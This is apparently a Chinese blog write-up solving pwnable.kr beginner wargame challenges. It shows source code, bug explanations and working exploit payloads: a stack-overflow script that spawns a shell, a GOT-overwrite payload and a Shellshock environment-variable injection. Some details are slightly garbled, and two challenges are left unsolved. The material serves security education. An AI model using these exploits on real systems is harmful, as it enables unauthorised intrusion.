0xFF
没错我又开了新坑
0x00 fd
题目信息:
Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw
ssh fd@pwnable.kr -p2222 (pw:guest)
ssh连接上给我们的地址,先ls一下,发现三个文件
fd fd.c flag
好家伙,看见flag先cat一下
fd@pwnable:~$ cat flag
cat: flag: Permission denied
权限不足,那来看一下源码嘛:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
程序先对argc参数进行数量判断,参数数量必须大于等于2。
argc: 整数,用来统计你运行程序时送给main函数的命令行参数的个数
* argv[ ]: 指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数
argv[0] 指向程序运行的全路径名
argv[1] 指向在DOS命令行中执行程序名后的第一个字符串
argv[2] 指向执行程序名后的第二个字符串
...
然后程序会将 argv[1]
参数转化成整形,减去0x1234,也就是十进制的4660,赋值给fd,然后调用read函数,fd作为read函数的第一个参数,输入给buf。然后判断buf是否和字符串"LETMEWIN\n"相等,相等则输出flag。
read (int fd, void *buf, size_t count);
read函数的功能为:从fd所指的文件中,读取count个字节的数据,到buf所指的缓冲区中。
而当fd为0时,read函数将从命令行读入一个标准输入stdin。
stdin 0 标准输入
stdout 1 标准输出
stderr 2 标准错误输出
也就是说read函数的fd参数为0即可对buf进行输入。
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
0x01 collision
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!
ssh col@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
输入要求通过函数check_password()
后,返回值等于0x21DD09EC
。
函数check_password()
的参数char* p
为char型指针,我们传入了一个char型的p,然后使用 (int*)进行强制转换成int指针。char的存储大小为1字节,而int的存储大小为4字节,也就是说我们将输入的p转换成了5个数组,而这5个数组相加之和要等于0x21DD09EC。
于是我们可以构造一下,使得五个数组相加后等于0x21DD09EC。
>>> hex(0x21DD09EC - 4*0x04555555)
'0x1087b498'
只要前四个数组为0x04555555,第五个数组为0x1087b498即可符合要求。
十六进制数在内存中的储存方式,例如0x12345678在内存中储存为:/x78/x56/x34x/12
。
于是payload可以构造为:
col@pwnable:~$ ./col `python -c "print '\x55\x55\x55\x04' * 4 + '\x98\xb4\x87\x10'"`
daddy! I just managed to create a hash collision :)
col@pwnable:~$ ./col `python -c "print '\x55\x55\x55\x04' * 4 + '\x98\xb4\x87\x10'"`
daddy! I just managed to create a hash collision :)
0x02 bof
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
这次和前两题不一样了还,不用ssh连接了,先看看源码吧。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char [32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
简单的栈溢出,程序拖入ida查看参数在栈上的位置,overflowme在ebp+0x2c
处,key在ebp-0x8
处。
exp:
from pwn import *
io = remote('pwnable.kr',9000)
payload = 'a' * (0x2c + 0x8) + p64(0xcafebabe)
io.sendline(payload)
io.interactive()
0x03 flag
Papa brought me a packed present! let's open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
下载文件,checksec一下
什么都没开,但是有upx加壳,给他脱壳一下。
upx -d flag
拿到脱壳后的程序,拖入ida反编译一下,得到源码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST08_8
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
双击一下参数flag,找到完整的字符串。
最后还有个:)
不能少了,,,
0X04 passcode
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
先运行一下程序,输入一个名字,然后输入338150,还没开始输入passcode2,就显示 Segmentation fault (core dumped)
Segmentation fault (core dumped)多为内存不当操作造成。空指针、野指针的读写操作,数组越界访问,破坏常量等。
在好好看看源码,好家伙,两处scanf
处都没有加上取地址符,就会将栈上这个位置原本的值作为scanf输入参数的地址,自然会造成非法地址访问,程序报错。
scanf("%d", passcode1);
scanf("%d", passcode2);
用gdb调试一下,进入welcome
函数后,查看ebp寄存器的值为0xffffd048
。
继续运行,到了输入name的地方,输入'aaaa',name在栈上的地址为0xffffcfd8
。
进入login
函数,查看ebp寄存器的值居然也为0xffffd048
,和welcome
函数的栈底地址相同。
继续步入,到了调用scanf
函数之前,发现scanf
函数的参数为[ebp - 0x10]
,也就是0xffffd038
处。
这里由于main函数连续call了welcome
和login
函数,所以导致调用两个函数时栈底地址相同。
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x08048665 <+0>: push ebp
0x08048666 <+1>: mov ebp,esp
0x08048668 <+3>: and esp,0xfffffff0
0x0804866b <+6>: sub esp,0x10
0x0804866e <+9>: mov DWORD PTR [esp],0x80487f0
0x08048675 <+16>: call 0x8048450 <puts@plt>
0x0804867a <+21>: call 0x8048609 <welcome>
0x0804867f <+26>: call 0x8048564 <login>
0x08048684 <+31>: mov DWORD PTR [esp],0x8048818
0x0804868b <+38>: call 0x8048450 <puts@plt>
0x08048690 <+43>: mov eax,0x0
0x08048695 <+48>: leave
0x08048696 <+49>: ret
End of assembler dump.
将name和passcode两个参数的地址相减,0xffffd038 - 0xffffcfd8 = 0x60 = 96
,而name的大小为100,也就是说name的最后四位内容就能够覆盖掉passcode原本的内容。
程序报错的原因就是因为passcode原本的值是一个非法地址,如果我们将其改为一个可写的地址就能够进行正常的运行了。
但是passcode2的地址是在[ebp - 0xc]
处,超出了name的覆盖范围,无法进行修改。
这里我们可以对got表进行修改,找到printf
在got表中的地址,为0x0804a000
然后将程序放入ida中,找到login
函数中调用system
函数读取flag的地址
将共同表中的printf
函数的地址修改为system
的地址,调用printf("enter passcode2 : ");
时就会变为system("/bin/cat flag");
。
payload为:
python -c "print 'a' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
0X05 random
ssh连上后先查看源码。
先 rand()
生成随机数,然后输入参数key,让key和random进行异或运算。将结果与0xdeadbeef
进行对比,相同输出flag。
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
这里使用gdb在 rand()
后打下断点,运行,发现random的值为0x6b8b4567
。
这里使用 rand()
生成随机数,由于没有 srand()
生成随机数种子,会自动设随机数种子为1,因此 rand()
生成的就是伪随机数,每次都是一个固定值。
>>> 0xdeadbeef ^ 0x6b8b4567
3039230856
提交十进制数3039230856
获取flag。
0X06 input
不会,,先留个坑,之后学习之后补上
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
0x07 leg
代码逻辑很简单,输入一个key值,然后将其与三个函数 key1() + key2() + key3()
返回值之和进行比较,相等则输出flag。看源码的汇编看不出来,直接来看看编译后的汇编吧。
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
等寒假先好好学一手汇编,,
0X08 mistake
We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event
Thanks to dhmonkey
hint : operator priority
ssh mistake@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
题目先打开"/home/mistake/password"
,读入password,然后通过read(fd,pw_buf,PW_LEN)
初始化pw_buf
的值,之后让用户读入一串字符串,为pw_buf2
。读入完成后让pw_buf2
中的字符每一位都与1进行异或运算,之后与pw_buf
进行比较,相同则输出flag。
这题题目给了我们提示:
hint : operator priority
操作符的优先级。
我们可以发现在开始的if语句中是这样写的:
(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
其中 <
的优先级大于 =
,而 open("/home/mistake/password",O_RDONLY,0400)
的返回值又不会低于0,于是 open("/home/mistake/password",O_RDONLY,0400) < 0
的返回值就为0了,然后将其赋值给了参数fd。
之后通过read(fd,pw_buf,PW_LEN)
初始化pw_buf
的值时,fd为0,输入流为标准输入流,于是我们可以通过人为的输入给pw_buf
赋值,也就导致了password的可控性。
先输入0000000000
,再输入1111111111
即可。
mistake@pwnable:~$ ./mistake
do not bruteforce...
0000000000
input password : 1111111111
Password OK
Mommy, the operator priority always confuses me :(
0x09 shellshock
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
考了shellshock漏洞,CVE-2014-6271,先贴上payload,寒假要填的坑++
env echo="() { cat flag; }" /home/shellshock/bash -c '/home/shellshock/shellshock'
Comments | NOTHING